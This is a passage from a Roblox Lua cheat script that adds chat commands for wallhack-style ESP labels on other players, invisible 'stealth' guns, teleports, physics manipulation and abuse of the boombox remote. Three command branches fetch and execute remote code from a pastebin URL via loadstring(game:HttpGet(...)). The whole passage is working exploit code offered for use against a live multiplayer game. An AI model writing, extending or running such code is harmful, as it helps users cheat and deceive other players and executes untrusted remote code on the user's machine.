- if v:IsA("Sound") and v.Name == "Fire" and v.Parent.Parent.Parent.Name == "RandomSpawner" and string.find(tostring(v.SoundId), tostring(328964620)) then
- removeotheruzi(v.Parent)
- showuzi(v.Parent)
- end
- traceuzi(v)
- end
- end
- for i,v in pairs(game.Workspace:GetChildren()) do
- if v.Name == "RandomSpawner" then
- if v:FindFirstChild("Model") then
- v.Model.ChildAdded:Connect(function(child)
- tracecash(child)
- traceshotty(child)
- traceuzi(child)
- end)
- end
- v.ChildAdded:Connect(function(child)
- tracecash(child)
- traceshotty(child)
- traceuzi(child)
- end)
- end
- end
- game.Workspace.ChildAdded:Connect(function(child)
- if child.Name == "RandomSpawner" then
- repeat wait() until child.Model
- tracecash(child)
- traceshotty(child)
- traceuzi(child)
- end
- end)
- tracecash(game.Workspace)
- traceshotty(game.Workspace)
- traceuzi(game.Workspace)
- local function uncancollide(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("BasePart") then
- v.CanCollide = false
- v.Massless = true
- end
- uncancollide(v)
- end
- end
- local function radioglitchy(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("Script") then
- v:Destroy()
- end
- radioglitchy(v)
- end
- end
- local function invis(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v.Name == "Weld" and v.Parent.Name ~= "Heh" and v.Parent.Name ~= "Barrel" then
- v:Destroy()
- end
- invis(v)
- end
- end
- local function demesh(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("SpecialMesh") then
- v:remove()
- end
- demesh(v)
- end
- end
- local function wirerun(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("BasePart") and v.Name == "Wires" then
- v.CanCollide = true
- v.Size = v.Size + Vector3.new(2, 0, 0)
- end
- wirerun(v)
- end
- end
- wirerun(game.Workspace)
- local function unwirerun(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("BasePart") and v.Name == "Wires" then
- v.CanCollide = false
- v.Size = v.Size - Vector3.new(2, 0, 0)
- end
- unwirerun(v)
- end
- end
- local function deseat(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("Seat") then
- v.Parent = game.Lighting
- end
- deseat(v)
- end
- end
- local function reseat(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("Seat") then
- v.Parent = game.Workspace
- end
- reseat(v)
- end
- end
- function defence(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("Texture") then
- if v.Parent then
- if v.Parent.Transparency == 1 then
- v.Parent.Parent = game.Lighting
- end
- end
- end
- defence(v)
- end
- end
- function refence(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("Texture") then
- if v.Parent then
- if v.Parent.Transparency == 1 then
- v.Parent.Parent = game.Workspace
- end
- end
- end
- refence(v)
- end
- end
- for i,v in pairs(game.Workspace:GetChildren()) do
- if v.Name == "Boards" then
- for i,x in pairs(v:GetChildren()) do
- table.insert(planks,(#planks+1),x)
- end
- end
- end
- function messagecommandshandle(plr,msg)
- local lower = string.lower(msg)
- local len = string.len(lower)
- if string.find(lower,":play ") then
- idtoplay = string.gsub(lower,":play ","")
- for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if (v:IsA("Tool") and v.Name == "BoomBox") then
- v.Parent = game.Players.LocalPlayer.Character
- end
- end
- wait(0.1)
- game.Players.LocalPlayer.Character.BoomBox.Remote:FireServer("PlaySong", idtoplay)
- wait(0.1)
- radioglitchy(game.Players.LocalPlayer.Character.BoomBox)
- game.Players.LocalPlayer.Character:FindFirstChild("BoomBox").Parent = game.Players.LocalPlayer.Backpack
- end
- if string.find(lower,"/e play ") then
- idtoplay = string.gsub(lower,"/e play ","")
- for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if (v:IsA("Tool") and v.Name == "BoomBox") then
- v.Parent = game.Players.LocalPlayer.Character
- end
- end
- wait(0.1)
- game.Players.LocalPlayer.Character.BoomBox.Remote:FireServer("PlaySong", idtoplay)
- wait(0.1)
- radioglitchy(game.Players.LocalPlayer.Character.BoomBox)
- game.Players.LocalPlayer.Character:FindFirstChild("BoomBox").Parent = game.Players.LocalPlayer.Backpack
- end
- if string.find(lower,"/e :play ") then
- idtoplay = string.gsub(lower,"/e :play ","")
- for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if (v:IsA("Tool") and v.Name == "BoomBox") then
- v.Parent = game.Players.LocalPlayer.Character
- end
- end
- wait(0.1)
- game.Players.LocalPlayer.Character.BoomBox.Remote:FireServer("PlaySong", idtoplay)
- wait(0.1)
- radioglitchy(game.Players.LocalPlayer.Character.BoomBox)
- game.Players.LocalPlayer.Character:FindFirstChild("BoomBox").Parent = game.Players.LocalPlayer.Backpack
- end
- if string.find(lower,":eplay ") then
- idtoplay = string.gsub(lower,":eplay ","")
- for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if (v:IsA("Tool") and v.Name == "BoomBox") then
- v.Parent = game.Players.LocalPlayer.Character
- end
- end
- wait(0.1)
- game.Players.LocalPlayer.Character.BoomBox.Remote:FireServer("PlaySong", fullyconvert(idtoplay))
- wait(0.1)
- radioglitchy(game.Players.LocalPlayer.Character.BoomBox)
- game.Players.LocalPlayer.Character:FindFirstChild("BoomBox").Parent = game.Players.LocalPlayer.Backpack
- end
- if string.find(lower,"/e eplay ") then
- idtoplay = string.gsub(lower,"/e eplay ","")
- for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if (v:IsA("Tool") and v.Name == "BoomBox") then
- v.Parent = game.Players.LocalPlayer.Character
- end
- end
- wait(0.1)
- game.Players.LocalPlayer.Character.BoomBox.Remote:FireServer("PlaySong", fullyconvert(idtoplay))
- wait(0.1)
- radioglitchy(game.Players.LocalPlayer.Character.BoomBox)
- game.Players.LocalPlayer.Character:FindFirstChild("BoomBox").Parent = game.Players.LocalPlayer.Backpack
- end
- if string.find(lower,"/e :eplay ") then
- idtoplay = string.gsub(lower,"/e :eplay ","")
- for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if (v:IsA("Tool") and v.Name == "BoomBox") then
- v.Parent = game.Players.LocalPlayer.Character
- end
- end
- wait(0.1)
- game.Players.LocalPlayer.Character.BoomBox.Remote:FireServer("PlaySong", fullyconvert(idtoplay))
- wait(0.1)
- radioglitchy(game.Players.LocalPlayer.Character.BoomBox)
- game.Players.LocalPlayer.Character:FindFirstChild("BoomBox").Parent = game.Players.LocalPlayer.Backpack
- end
- if string.find(lower,":erplay ") then
- idtoplay = string.gsub(lower,":erplay ","")
- for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if (v:IsA("Tool") and v.Name == "BoomBox") then
- v.Parent = game.Players.LocalPlayer.Character
- end
- end
- wait(0.1)
- game.Players.LocalPlayer.Character.BoomBox.Remote:FireServer("PlaySong", fullyconvert(idtoplay))
- end
- if string.find(lower,"/e erplay ") then
- idtoplay = string.gsub(lower,"/e erplay ","")
- for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if (v:IsA("Tool") and v.Name == "BoomBox") then
- v.Parent = game.Players.LocalPlayer.Character
- end
- end
- wait(0.1)
- game.Players.LocalPlayer.Character.BoomBox.Remote:FireServer("PlaySong", fullyconvert(idtoplay))
- end
- if string.find(lower,"/e :erplay ") then
- idtoplay = string.gsub(lower,"/e :erplay ","")
- for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if (v:IsA("Tool") and v.Name == "BoomBox") then
- v.Parent = game.Players.LocalPlayer.Character
- end
- end
- wait(0.1)
- game.Players.LocalPlayer.Character.BoomBox.Remote:FireServer("PlaySong", fullyconvert(idtoplay))
- end
- if string.find(lower,":deseat") then
- deseat(game.Workspace)
- end
- if string.find(lower,"/e deseat") then
- deseat(game.Workspace)
- end
- if string.find(lower,"/e :deseat") then
- deseat(game.Workspace)
- end
- if string.find(lower,":reseat") then
- reseat(game.Lighting)
- end
- if string.find(lower,"/e reseat") then
- reseat(game.Lighting)
- end
- if string.find(lower,"/e :reseat") then
- reseat(game.Lighting)
- end
- if string.find(lower,":defence") then
- defence(game.Workspace)
- end
- if string.find(lower,"/e defence") then
- defence(game.Workspace)
- end
- if string.find(lower,"/e :defence") then
- defence(game.Workspace)
- end
- if string.find(lower,":refence") then
- refence(game.Lighting)
- end
- if string.find(lower,"/e refence") then
- refence(game.Lighting)
- end
- if string.find(lower,"/e :refence") then
- refence(game.Lighting)
- end
- if string.find(lower,":cash") then
- tracecash(game.Workspace)
- end
- if string.find(lower,"/e cash") then
- tracecash(game.Workspace)
- end
- if string.find(lower,"/e :cash") then
- tracecash(game.Workspace)
- end
- if string.find(lower,":togglewirerun") then
- if wirerunning == true then
- unwirerun(game.Workspace)
- wirerunning = false
- elseif wirerunning == false then
- wirerun(game.Workspace)
- wirerunning = true
- end
- end
- if string.find(lower,":freeshoot") then
- freeshoot = true
- end
- if string.find(lower,"/e freeshoot") then
- freeshoot = true
- end
- if string.find(lower,"/e :freeshoot") then
- freeshoot = true
- end
- if string.find(lower,":unfreeshoot") then
- freeshoot = false
- end
- if string.find(lower,"/e unfreeshoot") then
- freeshoot = false
- end
- if string.find(lower,"/e :unfreeshoot") then
- freeshoot = false
- end
- if string.find(lower,":find ") then
- local playername = string.gsub(lower,":find ","")
- if string.lower(playername) == "target" then
- if targetee then
- if targetee.Character then
- local billgui = Instance.new('BillboardGui', targetee.Character.Head)
- local textlab = Instance.new('TextLabel', billgui)
- billgui.Name = "ESP"
- billgui.Adornee = epic
- billgui.AlwaysOnTop = true
- billgui.ExtentsOffset = Vector3.new(0, 3, 0)
- billgui.Size = UDim2.new(0, 5, 0, 5)
- textlab.Name = 'Target'
- textlab.BackgroundColor3 = Color3.new(255, 255, 255)
- textlab.BackgroundTransparency = 1
- textlab.BorderSizePixel = 0
- textlab.Position = UDim2.new(0, 0, 0, -40)
- textlab.Size = UDim2.new(1, 0, 10, 0)
- textlab.Visible = true
- textlab.ZIndex = 10
- textlab.Font = 'ArialBold'
- textlab.FontSize = 'Size18'
- textlab.Text = targetee.Name
- textlab.TextColor = BrickColor.new('Bright blue')
- textlab.TextStrokeColor3 = Color3.fromRGB(0,0,0)
- textlab.TextStrokeTransparency = 0.6
- end
- end
- else
- local player = findplayer(playername)
- if player ~= false then
- if player.Character then
- local billgui = Instance.new('BillboardGui', player.Character.Head)
- local textlab = Instance.new('TextLabel', billgui)
- billgui.Name = "ESP"
- billgui.Adornee = epic
- billgui.AlwaysOnTop = true
- billgui.ExtentsOffset = Vector3.new(0, 3, 0)
- billgui.Size = UDim2.new(0, 5, 0, 5)
- textlab.Name = 'Player'
- textlab.BackgroundColor3 = Color3.new(255, 255, 255)
- textlab.BackgroundTransparency = 1
- textlab.BorderSizePixel = 0
- textlab.Position = UDim2.new(0, 0, 0, -40)
- textlab.Size = UDim2.new(1, 0, 10, 0)
- textlab.Visible = true
- textlab.ZIndex = 10
- textlab.Font = 'ArialBold'
- textlab.FontSize = 'Size18'
- textlab.Text = player.Name
- textlab.TextColor = BrickColor.new('Bright red')
- textlab.TextStrokeColor3 = Color3.fromRGB(0,0,0)
- textlab.TextStrokeTransparency = 0.6
- end
- end
- end
- end
- if string.find(lower,"/e find ") then
- local playername = string.gsub(lower,"/e find ","")
- if string.lower(playername) == "target" then
- if targetee then
- if targetee.Character then
- local billgui = Instance.new('BillboardGui', targetee.Character.Head)
- local textlab = Instance.new('TextLabel', billgui)
- billgui.Name = "ESP"
- billgui.Adornee = epic
- billgui.AlwaysOnTop = true
- billgui.ExtentsOffset = Vector3.new(0, 3, 0)
- billgui.Size = UDim2.new(0, 5, 0, 5)
- textlab.Name = 'Target'
- textlab.BackgroundColor3 = Color3.new(255, 255, 255)
- textlab.BackgroundTransparency = 1
- textlab.BorderSizePixel = 0
- textlab.Position = UDim2.new(0, 0, 0, -40)
- textlab.Size = UDim2.new(1, 0, 10, 0)
- textlab.Visible = true
- textlab.ZIndex = 10
- textlab.Font = 'ArialBold'
- textlab.FontSize = 'Size18'
- textlab.Text = targetee.Name
- textlab.TextColor = BrickColor.new('Bright blue')
- textlab.TextStrokeColor3 = Color3.fromRGB(0,0,0)
- textlab.TextStrokeTransparency = 0.6
- end
- end
- else
- local player = findplayer(playername)
- if player ~= false then
- if player.Character then
- local billgui = Instance.new('BillboardGui', player.Character.Head)
- local textlab = Instance.new('TextLabel', billgui)
- billgui.Name = "ESP"
- billgui.Adornee = epic
- billgui.AlwaysOnTop = true
- billgui.ExtentsOffset = Vector3.new(0, 3, 0)
- billgui.Size = UDim2.new(0, 5, 0, 5)
- textlab.Name = 'Player'
- textlab.BackgroundColor3 = Color3.new(255, 255, 255)
- textlab.BackgroundTransparency = 1
- textlab.BorderSizePixel = 0
- textlab.Position = UDim2.new(0, 0, 0, -40)
- textlab.Size = UDim2.new(1, 0, 10, 0)
- textlab.Visible = true
- textlab.ZIndex = 10
- textlab.Font = 'ArialBold'
- textlab.FontSize = 'Size18'
- textlab.Text = player.Name
- textlab.TextColor = BrickColor.new('Bright red')
- textlab.TextStrokeColor3 = Color3.fromRGB(0,0,0)
- textlab.TextStrokeTransparency = 0.6
- end
- end
- end
- end
- if string.find(lower,"/e :find ") then
- local playername = string.gsub(lower,"/e :find ","")
- if string.lower(playername) == "target" then
- if targetee then
- if targetee.Character then
- local billgui = Instance.new('BillboardGui', targetee.Character.Head)
- local textlab = Instance.new('TextLabel', billgui)
- billgui.Name = "ESP"
- billgui.Adornee = epic
- billgui.AlwaysOnTop = true
- billgui.ExtentsOffset = Vector3.new(0, 3, 0)
- billgui.Size = UDim2.new(0, 5, 0, 5)
- textlab.Name = 'Target'
- textlab.BackgroundColor3 = Color3.new(255, 255, 255)
- textlab.BackgroundTransparency = 1
- textlab.BorderSizePixel = 0
- textlab.Position = UDim2.new(0, 0, 0, -40)
- textlab.Size = UDim2.new(1, 0, 10, 0)
- textlab.Visible = true
- textlab.ZIndex = 10
- textlab.Font = 'ArialBold'
- textlab.FontSize = 'Size18'
- textlab.Text = targetee.Name
- textlab.TextColor = BrickColor.new('Bright blue')
- textlab.TextStrokeColor3 = Color3.fromRGB(0,0,0)
- textlab.TextStrokeTransparency = 0.6
- end
- end
- else
- local player = findplayer(playername)
- if player ~= false then
- if player.Character then
- local billgui = Instance.new('BillboardGui', player.Character.Head)
- local textlab = Instance.new('TextLabel', billgui)
- billgui.Name = "ESP"
- billgui.Adornee = epic
- billgui.AlwaysOnTop = true
- billgui.ExtentsOffset = Vector3.new(0, 3, 0)
- billgui.Size = UDim2.new(0, 5, 0, 5)
- textlab.Name = 'Player'
- textlab.BackgroundColor3 = Color3.new(255, 255, 255)
- textlab.BackgroundTransparency = 1
- textlab.BorderSizePixel = 0
- textlab.Position = UDim2.new(0, 0, 0, -40)
- textlab.Size = UDim2.new(1, 0, 10, 0)
- textlab.Visible = true
- textlab.ZIndex = 10
- textlab.Font = 'ArialBold'
- textlab.FontSize = 'Size18'
- textlab.Text = player.Name
- textlab.TextColor = BrickColor.new('Bright red')
- textlab.TextStrokeColor3 = Color3.fromRGB(0,0,0)
- textlab.TextStrokeTransparency = 0.6
- end
- end
- end
- end
- if string.find(lower,":unfind ") then
- local playername = string.gsub(lower,":unfind ","")
- local player = findplayer(playername)
- if player ~= false then
- if player.Character then
- if player.Character:FindFirstChild("Head") then
- if player.Character.Head:FindFirstChild("ESP") then
- player.Character.Head:FindFirstChild("ESP"):Destroy()
- end
- end
- end
- end
- end
- if string.find(lower,"/e unfind ") then
- local playername = string.gsub(lower,"/e unfind ","")
- local player = findplayer(playername)
- if player ~= false then
- if player.Character then
- if player.Character:FindFirstChild("Head") then
- if player.Character.Head:FindFirstChild("ESP") then
- player.Character.Head:FindFirstChild("ESP"):Destroy()
- end
- end
- end
- end
- end
- if string.find(lower,"/e :unfind ") then
- local playername = string.gsub(lower,"/e :unfind ","")
- local player = findplayer(playername)
- if player ~= false then
- if player.Character then
- if player.Character:FindFirstChild("Head") then
- if player.Character.Head:FindFirstChild("ESP") then
- player.Character.Head:FindFirstChild("ESP"):Destroy()
- end
- end
- end
- end
- end
- if string.find(lower,":planks") then
- plankfollow = true
- planksurf = false
- for i=1,#planks do
- if planks[i]:FindFirstChild("no") then
- planks[i]:FindFirstChild("no"):Destroy()
- end
- local keep = Instance.new("BodyPosition")
- keep.Parent = planks[i]
- keep.Name = "no"
- keep.P = 100
- keep.D = 50
- keep.Position = game.Players.LocalPlayer.Character.Torso.Position - Vector3.new(0,0,10)
- end
- end
- if string.find(lower,"/e planks") then
- plankfollow = true
- planksurf = false
- for i=1,#planks do
- if planks[i]:FindFirstChild("no") then
- planks[i]:FindFirstChild("no"):Destroy()
- end
- local keep = Instance.new("BodyPosition")
- keep.Parent = planks[i]
- keep.Name = "no"
- keep.P = 100
- keep.D = 50
- keep.Position = game.Players.LocalPlayer.Character.Torso.Position - Vector3.new(0,0,10)
- end
- end
- if string.find(lower,"/e :planks") then
- plankfollow = true
- planksurf = false
- for i=1,#planks do
- if planks[i]:FindFirstChild("no") then
- planks[i]:FindFirstChild("no"):Destroy()
- end
- local keep = Instance.new("BodyPosition")
- keep.Parent = planks[i]
- keep.Name = "no"
- keep.P = 100
- keep.D = 50
- keep.Position = game.Players.LocalPlayer.Character.Torso.Position - Vector3.new(0,0,10)
- end
- end
- if string.find(lower,":unplanks") then
- plankfollow = false
- planksurf = false
- for i=1,#planks do
- if planks[1]:FindFirstChild("no") then
- planks[1]:FindFirstChild("no"):Destroy()
- end
- end
- end
- if string.find(lower,"/e unplanks") then
- plankfollow = false
- planksurf = false
- for i=1,#planks do
- if planks[1]:FindFirstChild("no") then
- planks[1]:FindFirstChild("no"):Destroy()
- end
- end
- end
- if string.find(lower,"/e :unplanks") then
- plankfollow = false
- planksurf = false
- for i=1,#planks do
- if planks[1]:FindFirstChild("no") then
- planks[1]:FindFirstChild("no"):Destroy()
- end
- end
- end
- if string.find(lower,":planksurf") then
- plankfollow = false
- planksurf = true
- for i=1,#planks do
- if planks[i]:FindFirstChild("no") then
- planks[i]:FindFirstChild("no"):Destroy()
- end
- local keep = Instance.new("BodyPosition")
- keep.Parent = planks[i]
- keep.Name = "no"
- keep.P = 5000
- keep.D = 15
- keep.Position = game.Players.LocalPlayer.Character.Torso.Position - Vector3.new(0,0,10)
- end
- end
- if string.find(lower,"/e planksurf") then
- plankfollow = false
- planksurf = true
- for i=1,#planks do
- if planks[i]:FindFirstChild("no") then
- planks[i]:FindFirstChild("no"):Destroy()
- end
- local keep = Instance.new("BodyPosition")
- keep.Parent = planks[i]
- keep.Name = "no"
- keep.P = 5000
- keep.D = 15
- keep.Position = game.Players.LocalPlayer.Character.Torso.Position - Vector3.new(0,0,10)
- end
- end
- if string.find(lower,"/e :planksurf") then
- plankfollow = false
- planksurf = true
- for i=1,#planks do
- if planks[i]:FindFirstChild("no") then
- planks[i]:FindFirstChild("no"):Destroy()
- end
- local keep = Instance.new("BodyPosition")
- keep.Parent = planks[i]
- keep.Name = "no"
- keep.P = 5000
- keep.D = 15
- keep.Position = game.Players.LocalPlayer.Character.Torso.Position - Vector3.new(0,0,10)
- end
- end
- if string.sub(msg, 1, 10) == ":tostreets" then
- TeleportService:Teleport(455366377, game.Players.LocalPlayer)
- end
- if string.sub(msg, 1, 12) == "/e tostreets" then
- TeleportService:Teleport(455366377, game.Players.LocalPlayer)
- end
- if string.sub(msg, 1, 13) == "/e :tostreets" then
- TeleportService:Teleport(455366377, game.Players.LocalPlayer)
- end
- if string.sub(msg, 1, 9) == ":toprison" then
- TeleportService:Teleport(4669040, game.Players.LocalPlayer)
- end
- if string.sub(msg, 1, 11) == "/e toprison" then
- TeleportService:Teleport(4669040, game.Players.LocalPlayer)
- end
- if string.sub(msg, 1, 12) == "/e :toprison" then
- TeleportService:Teleport(4669040, game.Players.LocalPlayer)
- end
- if string.find(lower,":hidegun") then
- if game.Players.LocalPlayer.Character then
- if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") then
- if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("Fire") then
- invis(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"))
- end
- end
- end
- end
- if string.find(lower,"/e hidegun") then
- if game.Players.LocalPlayer.Character then
- if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") then
- if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("Fire") then
- invis(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"))
- end
- end
- end
- end
- if string.find(lower,"/e :hidegun") then
- if game.Players.LocalPlayer.Character then
- if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") then
- if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("Fire") then
- invis(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"))
- end
- end
- end
- end
- if string.find(lower,":rmesh") then
- if game.Players.LocalPlayer.Character then
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if v:IsA("Tool") then
- demesh(v)
- end
- end
- end
- end
- if string.find(lower,"/e rmesh") then
- if game.Players.LocalPlayer.Character then
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if v:IsA("Tool") then
- demesh(v)
- end
- end
- end
- end
- if string.find(lower,"/e :rmesh") then
- if game.Players.LocalPlayer.Character then
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if v:IsA("Tool") then
- demesh(v)
- end
- end
- end
- end
- if string.find(lower,":demesh") then
- if game.Players.LocalPlayer.Character then
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if v:IsA("Tool") then
- demesh(v)
- end
- end
- end
- end
- if string.find(lower,"/e demesh") then
- if game.Players.LocalPlayer.Character then
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if v:IsA("Tool") then
- demesh(v)
- end
- end
- end
- end
- if string.find(lower,"/e :demesh") then
- if game.Players.LocalPlayer.Character then
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if v:IsA("Tool") then
- demesh(v)
- end
- end
- end
- end
- if lower == ":rface" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Head") then
- if game.Players.LocalPlayer.Character.Head:FindFirstChildOfClass("Decal") then
- game.Players.LocalPlayer.Character.Head:FindFirstChildOfClass("Decal").Parent = nil
- end
- end
- end
- end
- if lower == "/e rface" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Head") then
- if game.Players.LocalPlayer.Character.Head:FindFirstChildOfClass("Decal") then
- game.Players.LocalPlayer.Character.Head:FindFirstChildOfClass("Decal").Parent = nil
- end
- end
- end
- end
- if lower == "/e :rface" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Head") then
- if game.Players.LocalPlayer.Character.Head:FindFirstChildOfClass("Decal") then
- game.Players.LocalPlayer.Character.Head:FindFirstChildOfClass("Decal").Parent = nil
- end
- end
- end
- end
- if lower == ":faceless" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Head") then
- if game.Players.LocalPlayer.Character.Head:FindFirstChildOfClass("Decal") then
- game.Players.LocalPlayer.Character.Head:FindFirstChildOfClass("Decal").Parent = nil
- end
- end
- end
- end
- if lower == "/e faceless" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Head") then
- if game.Players.LocalPlayer.Character.Head:FindFirstChildOfClass("Decal") then
- game.Players.LocalPlayer.Character.Head:FindFirstChildOfClass("Decal").Parent = nil
- end
- end
- end
- end
- if lower == "/e :faceless" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Head") then
- if game.Players.LocalPlayer.Character.Head:FindFirstChildOfClass("Decal") then
- game.Players.LocalPlayer.Character.Head:FindFirstChildOfClass("Decal").Parent = nil
- end
- end
- end
- end
- if lower == ":rlegs" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Left Leg") and game.Players.LocalPlayer.Character:FindFirstChild("Right Leg") then
- game.Players.LocalPlayer.Character:FindFirstChild("Left Leg").Parent = nil
- game.Players.LocalPlayer.Character:FindFirstChild("Right Leg").Parent = nil
- end
- end
- end
- if lower == "/e rlegs" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Left Leg") and game.Players.LocalPlayer.Character:FindFirstChild("Right Leg") then
- game.Players.LocalPlayer.Character:FindFirstChild("Left Leg").Parent = nil
- game.Players.LocalPlayer.Character:FindFirstChild("Right Leg").Parent = nil
- end
- end
- end
- if lower == "/e :rlegs" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Left Leg") and game.Players.LocalPlayer.Character:FindFirstChild("Right Leg") then
- game.Players.LocalPlayer.Character:FindFirstChild("Left Leg").Parent = nil
- game.Players.LocalPlayer.Character:FindFirstChild("Right Leg").Parent = nil
- end
- end
- end
- if lower == ":eboombox" then
- if enhancedboombox == false then
- enhancedboombox = true
- loadstring(game:HttpGet(('https://pastebin.com/raw/BNVEDnAh'),true))() -- lol
- else
- print("Enhanced boombox already injected!")
- end
- end
- if lower == "/e eboombox" then
- if enhancedboombox == false then
- enhancedboombox = true
- loadstring(game:HttpGet(('https://pastebin.com/raw/BNVEDnAh'),true))() -- lol
- else
- print("Enhanced boombox already injected!")
- end
- end
- if lower == "/e :eboombox" then
- if enhancedboombox == false then
- enhancedboombox = true
- loadstring(game:HttpGet(('https://pastebin.com/raw/BNVEDnAh'),true))() -- lol
- else
- print("Enhanced boombox already injected!")
- end
- end
- if lower == ":stealthshotty" then
- if game.Players.LocalPlayer.Backpack:FindFirstChild("Shotty") then
- game.Players.LocalPlayer.Backpack:FindFirstChild("Shotty").Parent = game.Players.LocalPlayer.Character
- end
- wait(0.1)
- invis(game.Players.LocalPlayer.Character.Shotty)
- game.Players.LocalPlayer.Character.Shotty.Grip = CFrame.new(-0.2,0,-3)
- game.Players.LocalPlayer.Character.Shotty.Equipped:Connect(function()
- wait()
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Idle" then
- track:Stop()
- end
- end
- wait(0.7)
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Idle" or string.find(track.Name, "Animation") then
- track:Stop()
- end
- end
- end)
- game.Players.LocalPlayer.Character.Shotty.Activated:Connect(function()
- wait()
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Fires" then
- track:Stop()
- end
- end
- end)
- wait(1.5)
- if game.Players.LocalPlayer.Character:FindFirstChild("Shotty") then
- game.Players.LocalPlayer.Character.Shotty.Parent = game.Players.LocalPlayer.Backpack
- end
- end
- if lower == "/e stealthshotty" then
- if game.Players.LocalPlayer.Backpack:FindFirstChild("Shotty") then
- game.Players.LocalPlayer.Backpack:FindFirstChild("Shotty").Parent = game.Players.LocalPlayer.Character
- end
- wait(0.1)
- invis(game.Players.LocalPlayer.Character.Shotty)
- game.Players.LocalPlayer.Character.Shotty.Grip = CFrame.new(-0.2,0,-3)
- game.Players.LocalPlayer.Character.Shotty.Equipped:Connect(function()
- wait()
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Idle" then
- track:Stop()
- end
- end
- wait(0.7)
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Idle" or string.find(track.Name, "Animation") then
- track:Stop()
- end
- end
- end)
- game.Players.LocalPlayer.Character.Shotty.Activated:Connect(function()
- wait()
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Fires" then
- track:Stop()
- end
- end
- end)
- wait(1.5)
- if game.Players.LocalPlayer.Character:FindFirstChild("Shotty") then
- game.Players.LocalPlayer.Character.Shotty.Parent = game.Players.LocalPlayer.Backpack
- end
- end
- if lower == "/e :stealthshotty" then
- if game.Players.LocalPlayer.Backpack:FindFirstChild("Shotty") then
- game.Players.LocalPlayer.Backpack:FindFirstChild("Shotty").Parent = game.Players.LocalPlayer.Character
- end
- wait(0.1)
- invis(game.Players.LocalPlayer.Character.Shotty)
- game.Players.LocalPlayer.Character.Shotty.Grip = CFrame.new(-0.2,0,-3)
- game.Players.LocalPlayer.Character.Shotty.Equipped:Connect(function()
- wait()
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Idle" then
- track:Stop()
- end
- end
- wait(0.7)
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Idle" or string.find(track.Name, "Animation") then
- track:Stop()
- end
- end
- end)
- game.Players.LocalPlayer.Character.Shotty.Activated:Connect(function()
- wait()
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Fires" then
- track:Stop()
- end
- end
- end)
- wait(1.5)
